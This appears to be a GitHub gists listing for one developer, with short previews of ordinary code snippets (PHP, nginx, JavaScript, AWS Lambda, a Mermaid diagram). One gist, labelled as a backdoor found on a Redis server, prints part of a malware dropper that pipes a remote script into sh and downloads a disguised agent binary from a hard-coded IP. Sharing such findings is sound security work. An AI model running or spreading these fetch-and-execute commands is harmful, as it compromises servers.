voduytuan’s gists

voduytuan / topology.md

Last active January 24, 2024 08:27

mermaidjs example

Example MermaidJs diagram

graph TD;
subgraph I [Public Internet]
IA[Webapp - app.domain];
IB[Public Website - www.domain];
IC[Restful API - api.domain];
ID[Identity Provider - id.domain];
end

voduytuan / text-detector.php

Last active December 2, 2020 02:25

Text Detection with Google Cloud Vision by PHP

	# use package "google/cloud-vision": "^1.2.2"

	<?php

	use Google\Cloud\Vision\V1\ImageAnnotatorClient;
	use Google\Cloud\Vision\V1\TextAnnotation;

	$imageAnnotatorClient = new ImageAnnotatorClient([
	'credentials' => './service-account-key.json'
	]);

voduytuan / graphql-client-query-waveapps.php

Last active April 18, 2020 03:53

Query Wave GraphQL to get `businesses` with mghoneimy/php-graphql-client

	<?php
	use GraphQL\Client;
	use GraphQL\Query;

	$endpoint = 'https://gql.waveapps.com/graphql/public';

	$client = new Client($endpoint, [
	'Authorization' => 'Bearer <<FULL_ACCESS_TOKEN_FROM_WAVEAPPS>>'
	]);

voduytuan / Circle_AA.png

Last active June 2, 2018 07:26

Backdoor found on redis server

	#get from
	# curl http://185.169.198.42/assets/Circle_AA.png\|sh

	export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
	AGENT_FILE='/tmp/Circle_MI.png'
	AGENT_CONFIG='/tmp/Circle_CF.png'
	ps -ef\|grep $AGENT_FILE\|grep -v grep
	if [ $? -ne 0 ]; then
	if [ -x /usr/bin/wget ] ; then
	wget -q http://185.169.198.42/assets/Circle_MI.png -O $AGENT_FILE

voduytuan / ImageResizer.php

Created May 26, 2017 07:55

Generate LQIP (Low quality image placeholder) from PHP

	<?php

	namespace Litpi;

	define('MEMORY_TO_ALLOCATE', '100M');
	/**
	* Resize image
	* - provide crop to square size image
	* - provide 4 corner to create round corner image (advanced)
	*/

voduytuan / nginx-localhost

Created December 23, 2016 15:37

Nginx vhost configuration with forward ip (behide proxy such as haproxy) and hide sensitive data

	log_format mainproxy '$http_x_forwarded_for - $remote_user [$time_local] ' '"$temp" $status $body_bytes_sent "$http_referer" ' '"$http_user_agent"' ;

	server {
	listen 80;

	root /var/www/src;
	index index.html index.htm index.php;

	# Make site accessible from http://set-ip-address.xip.io
	server_name localhost;

voduytuan / po2js.php

Last active November 6, 2016 13:19

	<?php

	/**
	* Download from: https://github.com/raulferras/PHP-po-parser/tree/master/src/Sepia
	*/
	include('./libs/Sepia/InterfaceHandler.php');
	include('./libs/Sepia/FileHandler.php');
	include('./libs/Sepia/StringHandler.php');
	include('./libs/Sepia/PoParser.php');

voduytuan / sw.js

Created September 7, 2016 11:11

	importScripts('js/sw-toolbox.js');

	toolbox.options.debug = false;

	toolbox.precache(['/']);

	//FOr homepage, we use fastest so that it update new content for next request
	toolbox.router.get('/', toolbox.fastest);

	// The route for the images

voduytuan / ses-receiving-lambda

Last active July 16, 2016 04:06

ses-receiving-lambda.js

	'use strict';
	let AWS = require('aws-sdk');

	// We need this to build our post string
	let http = require('http');
	let fs = require('fs');

	function makePostRequest(data) {
	// Build the post string from an object
	var post_data = JSON.stringify(data);

voduytuan / build.js

Created April 24, 2016 02:33

Teamcrop Front-end Requirejs Optimizer build file

	({
	baseUrl: 'js/',
	out: 'js/main-built.js',

	/* DO NOT CHANGE THIS LINE (IT WILL BE USED BY GULP TASK TO GENERATE ALL MODULES FOR REQUREIJS) */
	include: ['main', 'requireLib'],
	/* DO NOT CHANGE ABOVE LINE */

	//optimizeAllPluginResources: true,
	fileExclusionRegExp: /^((r\|build)\.js)$/,

Vo Duy Tuan voduytuan